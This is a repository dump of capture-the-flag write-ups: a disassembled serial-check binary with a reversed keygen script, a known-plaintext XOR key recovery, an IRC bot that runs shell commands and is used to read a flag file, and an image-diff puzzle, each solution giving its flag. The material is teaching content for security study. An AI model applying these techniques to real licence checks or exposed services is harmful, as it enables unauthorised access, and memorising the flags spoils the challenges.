ff ff ff jmp 80483f0 156 | 8048477: 90 nop 157 | 8048478: e9 73 ff ff ff jmp 80483f0 158 | 159 | 0804847d
: 160 | 804847d: 55 push %ebp 161 | 804847e: 89 e5 mov %esp,%ebp 162 | 8048480: 83 e4 f0 and $0xfffffff0,%esp 163 | 8048483: 83 ec 30 sub $0x30,%esp 164 | 8048486: c7 04 24 80 86 04 08 movl $0x8048680,(%esp) 165 | 804848d: e8 ae fe ff ff call 8048340 166 | 8048492: 8d 44 24 1c lea 0x1c(%esp),%eax 167 | 8048496: 89 44 24 04 mov %eax,0x4(%esp) 168 | 804849a: c7 04 24 c9 86 04 08 movl $0x80486c9,(%esp) 169 | 80484a1: e8 ca fe ff ff call 8048370 <__isoc99_scanf@plt> 170 | 80484a6: 8b 44 24 1c mov 0x1c(%esp),%eax 171 | 80484aa: 85 c0 test %eax,%eax 172 | 80484ac: 7f 16 jg 80484c4 173 | 80484ae: c7 04 24 cc 86 04 08 movl $0x80486cc,(%esp) 174 | 80484b5: e8 86 fe ff ff call 8048340 175 | 80484ba: b8 00 00 00 00 mov $0x0,%eax 176 | 80484bf: e9 29 01 00 00 jmp 80485ed 177 | 80484c4: 8b 44 24 1c mov 0x1c(%esp),%eax 178 | 80484c8: 89 44 24 04 mov %eax,0x4(%esp) 179 | 80484cc: c7 04 24 d9 86 04 08 movl $0x80486d9,(%esp) 180 | 80484d3: e8 58 fe ff ff call 8048330 181 | 80484d8: c7 04 24 f4 86 04 08 movl $0x80486f4,(%esp) 182 | 80484df: e8 5c fe ff ff call 8048340 183 | 80484e4: c7 44 24 18 00 00 00 movl $0x0,0x18(%esp) 184 | 80484eb: 00 185 | 80484ec: c7 44 24 14 00 00 00 movl $0x0,0x14(%esp) 186 | 80484f3: 00 187 | 80484f4: c7 44 24 10 00 00 00 movl $0x0,0x10(%esp) 188 | 80484fb: 00 189 | 80484fc: 8d 44 24 10 lea 0x10(%esp),%eax 190 | 8048500: 89 44 24 0c mov %eax,0xc(%esp) 191 | 8048504: 8d 44 24 14 lea 0x14(%esp),%eax 192 | 8048508: 89 44 24 08 mov %eax,0x8(%esp) 193 | 804850c: 8d 44 24 18 lea 0x18(%esp),%eax 194 | 8048510: 89 44 24 04 mov %eax,0x4(%esp) 195 | 8048514: c7 04 24 19 87 04 08 movl $0x8048719,(%esp) 196 | 804851b: e8 50 fe ff ff call 8048370 <__isoc99_scanf@plt> 197 | 8048520: 8b 44 24 1c mov 0x1c(%esp),%eax 198 | 8048524: 85 c0 test %eax,%eax 199 | 8048526: 7e 18 jle 8048540 200 | 8048528: 8b 44 24 18 mov 0x18(%esp),%eax 201 | 804852c: 85 c0 test %eax,%eax 202 | 804852e: 7e 10 jle 8048540 203 | 8048530: 8b 44 24 14 mov 0x14(%esp),%eax 204 | 8048534: 85 c0 test %eax,%eax 205 | 8048536: 7e 08 jle 8048540 206 | 8048538: 8b 44 24 10 mov 0x10(%esp),%eax 207 | 804853c: 85 c0 test %eax,%eax 208 | 804853e: 7f 16 jg 8048556 209 | 8048540: c7 04 24 22 87 04 08 movl $0x8048722,(%esp) 210 | 8048547: e8 f4 fd ff ff call 8048340 211 | 804854c: b8 00 00 00 00 mov $0x0,%eax 212 | 8048551: e9 97 00 00 00 jmp 80485ed 213 | 8048556: 8b 54 24 1c mov 0x1c(%esp),%edx 214 | 804855a: 89 d0 mov %edx,%eax 215 | 804855c: c1 e0 02 shl $0x2,%eax 216 | 804855f: 01 d0 add %edx,%eax 217 | 8048561: 01 c0 add %eax,%eax 218 | 8048563: 83 c0 2a add $0x2a,%eax 219 | 8048566: c1 e0 04 shl $0x4,%eax 220 | 8048569: 89 44 24 24 mov %eax,0x24(%esp) 221 | 804856d: 8b 44 24 1c mov 0x1c(%esp),%eax 222 | 8048571: 69 c0 b6 07 00 00 imul $0x7b6,%eax,%eax 223 | 8048577: 05 d2 71 01 00 add $0x171d2,%eax 224 | 804857c: 89 44 24 20 mov %eax,0x20(%esp) 225 | 8048580: c7 44 24 2c 18 02 00 movl $0x218,0x2c(%esp) 226 | 8048587: 00 227 | 8048588: c7 44 24 28 00 00 00 movl $0x0,0x28(%esp) 228 | 804858f: 00 229 | 8048590: eb 0f jmp 80485a1 230 | 8048592: 83 44 24 2c 05 addl $0x5,0x2c(%esp) 231 | 8048597: 83 6c 24 2c 03 subl $0x3,0x2c(%esp) 232 | 804859c: 83 44 24 28 01 addl $0x1,0x28(%esp) 233 | 80485a1: 83 7c 24 28 09 cmpl $0x9,0x28(%esp) 234 | 80485a6: 7e ea jle 8048592 235 | 80485a8: 8b 44 24 1c mov 0x1c(%esp),%eax 236 | 80485ac: 01 44 24 2c add %eax,0x2c(%esp) 237 | 80485b0: 8b 44 24 18 mov 0x18(%esp),%eax 238 | 80485b4: 39 44 24 24 cmp %eax,0x24(%esp) 239 | 80485b8: 75 22 jne 80485dc 240 | 80485ba: 8b 44 24 14 mov 0x14(%esp),%eax 241 | 80485be: 39 44 24 20 cmp %eax,0x20(%esp) 242 | 80485c2: 75 18 jne 80485dc 243 | 80485c4: 8b 44 24 10 mov 0x10(%esp),%eax 244 | 80485c8: 39 44 24 2c cmp %eax,0x2c(%esp) 245 | 80485cc: 75 0e jne 80485dc 246 | 80485ce: c7 04 24 33 87 04 08 movl $0x8048733,(%esp) 247 | 80485d5: e8 66 fd ff ff call 8048340 248 | 80485da: eb 0c jmp 80485e8 249 | 80485dc: c7 04 24 40 87 04 08 movl $0x8048740,(%esp) 250 | 80485e3: e8 58 fd ff ff call 8048340 251 | 80485e8: b8 00 00 00 00 mov $0x0,%eax 252 | 80485ed: c9 leave 253 | 80485ee: c3 ret 254 | 80485ef: 90 nop 255 | 256 | 080485f0 <__libc_csu_init>: 257 | 80485f0: 55 push %ebp 258 | 80485f1: 57 push %edi 259 | 80485f2: 31 ff xor %edi,%edi 260 | 80485f4: 56 push %esi 261 | 80485f5: 53 push %ebx 262 | 80485f6: e8 b5 fd ff ff call 80483b0 <__x86.get_pc_thunk.bx> 263 | 80485fb: 81 c3 25 13 00 00 add $0x1325,%ebx 264 | 8048601: 83 ec 1c sub $0x1c,%esp 265 | 8048604: 8b 6c 24 30 mov 0x30(%esp),%ebp 266 | 8048608: 8d b3 0c ff ff ff lea -0xf4(%ebx),%esi 267 | 804860e: e8 e1 fc ff ff call 80482f4 <_init> 268 | 8048613: 8d 83 08 ff ff ff lea -0xf8(%ebx),%eax 269 | 8048619: 29 c6 sub %eax,%esi 270 | 804861b: c1 fe 02 sar $0x2,%esi 271 | 804861e: 85 f6 test %esi,%esi 272 | 8048620: 74 27 je 8048649 <__libc_csu_init+0x59> 273 | 8048622: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 274 | 8048628: 8b 44 24 38 mov 0x38(%esp),%eax 275 | 804862c: 89 2c 24 mov %ebp,(%esp) 276 | 804862f: 89 44 24 08 mov %eax,0x8(%esp) 277 | 8048633: 8b 44 24 34 mov 0x34(%esp),%eax 278 | 8048637: 89 44 24 04 mov %eax,0x4(%esp) 279 | 804863b: ff 94 bb 08 ff ff ff call *-0xf8(%ebx,%edi,4) 280 | 8048642: 83 c7 01 add $0x1,%edi 281 | 8048645: 39 f7 cmp %esi,%edi 282 | 8048647: 75 df jne 8048628 <__libc_csu_init+0x38> 283 | 8048649: 83 c4 1c add $0x1c,%esp 284 | 804864c: 5b pop %ebx 285 | 804864d: 5e pop %esi 286 | 804864e: 5f pop %edi 287 | 804864f: 5d pop %ebp 288 | 8048650: c3 ret 289 | 8048651: eb 0d jmp 8048660 <__libc_csu_fini> 290 | 8048653: 90 nop 291 | 8048654: 90 nop 292 | 8048655: 90 nop 293 | 8048656: 90 nop 294 | 8048657: 90 nop 295 | 8048658: 90 nop 296 | 8048659: 90 nop 297 | 804865a: 90 nop 298 | 804865b: 90 nop 299 | 804865c: 90 nop 300 | 804865d: 90 nop 301 | 804865e: 90 nop 302 | 804865f: 90 nop 303 | 304 | 08048660 <__libc_csu_fini>: 305 | 8048660: f3 c3 repz ret 306 | 307 | Disassembly of section .fini: 308 | 309 | 08048664 <_fini>: 310 | 8048664: 53 push %ebx 311 | 8048665: 83 ec 08 sub $0x8,%esp 312 | 8048668: e8 43 fd ff ff call 80483b0 <__x86.get_pc_thunk.bx> 313 | 804866d: 81 c3 b3 12 00 00 add $0x12b3,%ebx 314 | 8048673: 83 c4 08 add $0x8,%esp 315 | 8048676: 5b pop %ebx 316 | 8048677: c3 ret 317 | -------------------------------------------------------------------------------- /serial_verifier/serial.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/serial_verifier/serial.exe -------------------------------------------------------------------------------- /serial_verifier/serial_verifier.md: -------------------------------------------------------------------------------- 1 | serial verifier 2 | =============== 3 | 4 | Flag: **why_so_serial** 5 | 6 | ![serial verifier](images/serial_verifier.png "serial verifier challenge introduction") 7 | 8 | The challenge flavortext says "Try to validate the nice little piece of 9 | code. You will get your flag here: Serial verifier" and links to: 10 | 11 | * [linux](serial "Linux executable version of serial verifier") 12 | * [windows](serial.exe "Windows executable version of serial verifier") 13 | 14 | The serial verifier is a web form that shows you your session number and asks 15 | you to submit the corresponding serial number for that session: 16 | 17 | ![session](images/serial_verifier_session.png "serial verifier session") 18 | 19 | The linked executables verify the web form data. Let's run one of them to get a 20 | feel for how it works: 21 | 22 | $ ./serial 23 | Welcome to the Serial Verifier! 24 | Please insert your personal Session ID: 25 | 1509 26 | Thanks I got the ID 1509 27 | I would like to know your serial now 28 | asdf 29 | Sorry not valid! 30 | 31 | We'll need to reverse the serial generation algorithm from the assembly for one 32 | of the executables. Running `strings` against the ELF executable, we get: 33 | 34 | $ strings serial 35 | ... 36 | Welcome to the Serial Verifier! 37 | Please insert your personal Session ID: 38 | Not a number 39 | Thanks I got the ID %d 40 | I would like to know your serial now 41 | %d-%d-%d 42 | Sorry not valid! 43 | You did it! 44 | Wrong Code! 45 | ... 46 | 47 | It looks like the format of the serial number might be `%d-%d-%d`. 48 | 49 | We can look at the dissambly with `objdump -d`. [Here](serial.dump "serial 50 | disassembly") is the full disassembly for the ELF executable. Below is part of 51 | the disassembly for `main`, with annotations to the right walking through the 52 | serial number generation algorithm: 53 | 54 |
: 55 | ... 56 | call 8048370 <__isoc99_scanf@plt> # Scan in 3 numbers. 57 | mov 0x1c(%esp),%eax # Is var 1 > 0? 58 | test %eax,%eax 59 | jle 8048540 60 | mov 0x18(%esp),%eax # Is var 2 > 0? 61 | test %eax,%eax 62 | jle 8048540 63 | mov 0x14(%esp),%eax # Is var 3 > 0? 64 | test %eax,%eax 65 | jle 8048540 # Is session # > 0? 66 | mov 0x10(%esp),%eax 67 | test %eax,%eax 68 | jg 8048556 69 | movl $0x8048722,(%esp) 70 | call 8048340 71 | mov $0x0,%eax 72 | jmp 80485ed 73 | mov 0x1c(%esp),%edx # Take session, move it into edx. We call it s1. 74 | mov %edx,%eax # Next 3 lines multiply s1 by 10: 75 | shl $0x2,%eax # x = s1 << 2 76 | add %edx,%eax # s1 = s1 + x 77 | add %eax,%eax # s1 = s1 + s1 78 | add $0x2a,%eax # Add 0x2a to s1. Net result: s1 = (0xa * session) + 0x2a. 79 | shl $0x4,%eax # Shift left by 0x4, same as multiplying by 0x10. 80 | mov %eax,0x24(%esp) # Save as s1, at 0x24(%esp) 81 | mov 0x1c(%esp),%eax # Load session into %esp again. 82 | imul $0x7b6,%eax,%eax # s2 = session * 0x7b6 83 | add $0x171d2,%eax # s2 = session * 0x7b6 + 0x171d2 84 | mov %eax,0x20(%esp) # Save as s2, at 0x20(%esp) 85 | movl $0x218,0x2c(%esp) # s3 = 0x218 86 | movl $0x0,0x28(%esp) # Set up a counter for a loop: i = 0. 87 | jmp 80485a1 # Loop: 88 | addl $0x5,0x2c(%esp) # s3 += 5 89 | subl $0x3,0x2c(%esp) # s3 -= 3 90 | addl $0x1,0x28(%esp) # i++ 91 | cmpl $0x9,0x28(%esp) # if i <= 9: 92 | jle 8048592 # Go back to Loop 93 | mov 0x1c(%esp),%eax # Move session into %eax. 94 | add %eax,0x2c(%esp) # s3 += session 95 | mov 0x18(%esp),%eax # Does var 1 == s1? 96 | cmp %eax,0x24(%esp) 97 | jne 80485dc 98 | mov 0x14(%esp),%eax # Does var 2 == s2? 99 | cmp %eax,0x20(%esp) 100 | jne 80485dc 101 | mov 0x10(%esp),%eax # Does var 3 == s3? 102 | cmp %eax,0x2c(%esp) 103 | jne 80485dc 104 | movl $0x8048733,(%esp) # Yes, print flag. 105 | call 8048340 106 | ... 107 | 108 | Here is a Python script that executes the same algorithm: 109 | 110 | import sys 111 | 112 | session = int(sys.argv[1]) 113 | 114 | s1 = 0x10 * (0xa * session + 0x2a) 115 | s2 = 0x7b6 * session + 0x171d2 116 | s3 = 0x218 117 | for i in range(10): 118 | s3 += 0x5 119 | s3 -= 0x3 120 | s3 += session 121 | 122 | print "%d-%d-%d" % (s1, s2, s3) 123 | 124 | Using this script, we can generate the serial number for session 1509: 125 | 126 | $ python serial.py 1509 127 | 242112-3073440-2065 128 | 129 | Supplying that number in the web form reveals the flag, which is 130 | `why_so_serial`. 131 | 132 | [« Return to challenge board](../README.md "Return to challenge board") 133 | -------------------------------------------------------------------------------- /sweetie/images/sweetie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/sweetie/images/sweetie.png -------------------------------------------------------------------------------- /sweetie/sweetie.md: -------------------------------------------------------------------------------- 1 | sweetie 2 | ======= 3 | 4 | Flag: **set_phasers_to_hug** 5 | 6 | ![sweetie](images/sweetie.png "sweetie challenge introduction") 7 | 8 | The challenge flavortext says "/msg SweetieBot > echo hi", implying that we 9 | should interact with an IRC bot. Given that the CTF had an IRC channel on 10 | [freenode](http://freenode.net/ "freenode IRC network"), that seems like a good 11 | network to try: 12 | 13 | -!- Irssi: Starting query in freenode with SweetieBot 14 | 17:22 > echo hi 15 | 17:22 hi 16 | 17 | SweetieBot is echoing what I am saying. Is `echo` just the typical shell 18 | builtin? 19 | 20 | 15:09 > ls -al / 21 | 15:09 total 56 22 | 15:09 drwxr-xr-x 10 1001 1001 0 Oct 10 01:18 . 23 | 15:09 drwxr-xr-x 10 1001 1001 0 Oct 10 01:18 .. 24 | 15:09 11 more lines ( http://sprunge.us/PHEc ) 25 | 26 | Looks like it. The pastebin contains: 27 | 28 | total 56 29 | drwxr-xr-x 10 1001 1001 0 Oct 10 01:18 . 30 | drwxr-xr-x 10 1001 1001 0 Oct 10 01:18 .. 31 | drwxr-xr-x 2 1001 1001 0 Oct 10 01:18 bin 32 | drwxr-xr-x 2 1001 1001 0 Oct 10 01:18 dev 33 | drwxr-xr-x 3 1001 1001 0 Oct 10 01:18 etc 34 | -rw-r--r-- 1 0 0 25 Oct 10 01:18 flag 35 | -rwxr-xr-x 1 1001 1001 397 Oct 10 01:18 init 36 | drwxr-xr-x 2 1001 1001 0 Oct 10 01:18 lib 37 | dr-xr-xr-x 24 0 0 0 Oct 10 01:18 proc 38 | drwxr-xr-x 2 1001 1001 0 Oct 10 01:18 root 39 | -rw-r--r-- 1 1001 1001 45640 Oct 10 01:18 sweetiebot.png 40 | drwxr-xr-x 2 1001 1001 0 Oct 10 01:18 tmp 41 | drwxr-xr-x 4 1001 1001 0 Oct 10 01:18 usr 42 | 43 | Let's check out that `flag` file: 44 | 45 | 15:09 > cat /flag 46 | 15:09 flag{set_phasers_to_hug} 47 | 48 | The flag is thus `set_phasers_to_hug`. 49 | 50 | [« Return to challenge board](../README.md "Return to challenge board") 51 | -------------------------------------------------------------------------------- /txt_securer/images/txt_securer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/txt_securer/images/txt_securer.png -------------------------------------------------------------------------------- /txt_securer/txt_securer.md: -------------------------------------------------------------------------------- 1 | txt_securer 2 | =========== 3 | 4 | Flag: **can_you_believe_xor_provides_perfect_security?** 5 | 6 | ![txt_securer](images/txt_securer.png "txt_securer challenge introduction") 7 | 8 | The challenge flavortext says "Intercepted some messages encrypted using this 9 | [high-tech algorithm](txt_securer.py "txt_securer Python script")" and provides 10 | these messages: 11 | 12 | > msg1: 13 | > This message is not important, so I send it twice encrypted and plain. 14 | > 15 | > msg1_enc: 16 | > XOvjumbdDj+Ny3Dz/dicO2bs/ukv3RsjjN52+Kmdz2hno8PpNdUFKN7DY7apxoZ4baPvpyXCEjyKz3O2vN+LO3jv66Aong== 17 | > 18 | > msg2_enc: 19 | > Ruz96TLYDmyXx2f5r8WOdXyj56w1wworm4pg/6nZz29g5qqvKtEMdt6Icfq81pR4ae3VsCnFNC6bxn7zq9SwY2fx1bk03x0lms9kya3UnX1t4P6WNdUIOYzDY+/izM01 20 | > 21 | > msg3_enc: 22 | > QOb4rGbZGGyKwn7kuZGCfnvw664jnEs4kYp0+bPXmmhto+W8NJAEPJHEcvipnc95ffeqoSOQCC2QjWO2r9SOfyj34qA1kAYpjdl28biRjnVx9OuwaA== 23 | 24 | The linked script shows that the encryption and decryption mechanisms are just 25 | an XOR with a repeating 16-byte key: 26 | 27 | import base64 28 | import os 29 | 30 | def xor(data, key): 31 | return "".join(map(lambda (x,y): chr(ord(x) ^ ord(y)), zip(data, key*(len(data)/len(key)+1)))) 32 | 33 | keylen = 16 34 | 35 | def generate_key(): 36 | return os.urandom(keylen) 37 | 38 | def encrypt(data, key): 39 | return base64.b64encode(xor(data, key)) 40 | 41 | def decrypt(data, key): 42 | return xor(base64.b64decode(data), key) 43 | 44 | We have both a message `msg1` and the resulting ciphertext `msg1_enc`. 45 | 46 | We know that `msg1_enc` = `msg1 ^ key`. Thus: 47 | 48 | msg1_enc ^ msg1 = msg1 ^ key ^ msg1 = key 49 | 50 | If we XOR `msg1` and `msg1_enc1`, we can recover the key to decrypt the 51 | remaining messages: 52 | 53 | msg1 = "This message is not important, so I send it twice encrypted and plain." 54 | msg1_enc = "XOvjumbdDj+Ny3Dz/dicO2bs/ukv3RsjjN52+Kmdz2hno8PpNdUFKN7DY7apxoZ4baPvpyXCEjyKz3O2vN+LO3jv66Aong==" 55 | 56 | key = xor(base64.b64decode(msg1_enc), msg1) 57 | key = key[:16] 58 | 59 | msg2_enc = "Ruz96TLYDmyXx2f5r8WOdXyj56w1wworm4pg/6nZz29g5qqvKtEMdt6Icfq81pR4ae3VsCnFNC6bxn7zq9SwY2fx1bk03x0lms9kya3UnX1t4P6WNdUIOYzDY+/izM01" 60 | msg3_enc = "QOb4rGbZGGyKwn7kuZGCfnvw664jnEs4kYp0+bPXmmhto+W8NJAEPJHEcvipnc95ffeqoSOQCC2QjWO2r9SOfyj34qA1kAYpjdl28biRjnVx9OuwaA==" 61 | 62 | print decrypt(msg2_enc, key) 63 | print decrypt(msg3_enc, key) 64 | 65 | Running the revised `txt_securer.py`, we get: 66 | 67 | $ python txt_securer.py 68 | Now the important message with the flag: "flag{can_you_believe_xor_provides_perfect_security?}". 69 | Here is third message, to confuse our oponent, but he can't read this message anyway. 70 | 71 | The flag is thus `can_you_believe_xor_provides_perfect_security?`. 72 | 73 | [« Return to challenge board](../README.md "Return to challenge board") 74 | -------------------------------------------------------------------------------- /txt_securer/txt_securer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import base64 3 | import os 4 | def xor(data, key): 5 | return "".join(map(lambda (x,y): chr(ord(x) ^ ord(y)), zip(data, key*(len(data)/len(key)+1)))) 6 | 7 | keylen = 16 8 | 9 | def generate_key(): 10 | return os.urandom(keylen) 11 | 12 | def encrypt(data, key): 13 | return base64.b64encode(xor(data, key)) 14 | 15 | def decrypt(data, key): 16 | return xor(base64.b64decode(data), key) 17 | -------------------------------------------------------------------------------- /xoxo/images/xoxo-diff.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/xoxo/images/xoxo-diff.png -------------------------------------------------------------------------------- /xoxo/images/xoxo-message1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/xoxo/images/xoxo-message1.png -------------------------------------------------------------------------------- /xoxo/images/xoxo-message2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/xoxo/images/xoxo-message2.png -------------------------------------------------------------------------------- /xoxo/images/xoxo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/xoxo/images/xoxo.png -------------------------------------------------------------------------------- /xoxo/xoxo.md: -------------------------------------------------------------------------------- 1 | xoxo 2 | ==== 3 | 4 | Flag: **meet_me_at_the_gates_at_midnight** 5 | 6 | ![xoxo](images/xoxo.png "xoxo challenge introduction") 7 | 8 | The challenge flavortext says: 9 | 10 | > My love, 11 | 12 | > I am under constant observation from my parents, so I cannot speak clear. 13 | 14 | > Here are two random images. You know what to do. 15 | 16 | and links to two PNGs: 17 | 18 | * [message1.png](images/xoxo-message1.png "message1.png") 19 | * [message2.png](images/xoxo-message2.png "message2.png") 20 | 21 | 22 | 23 | 24 | Given the title of the challenge, it seems like we should XOR or 25 | otherwise diff these two images. Using the ImageMagick command line 26 | utility `compare` to diff the images: 27 | 28 | compare xoxo-message1.png xoxo-message2.png -compose src diff.png 29 | 30 | We get this resulting image diff: 31 | 32 | ![diff](images/xoxo-diff.png "xoxo image diff") 33 | 34 | The flag is thus `meet_me_at_the_gates_at_midnight`. 35 | 36 | [« Return to challenge board](../README.md "Return to challenge board") 37 | --------------------------------------------------------------------------------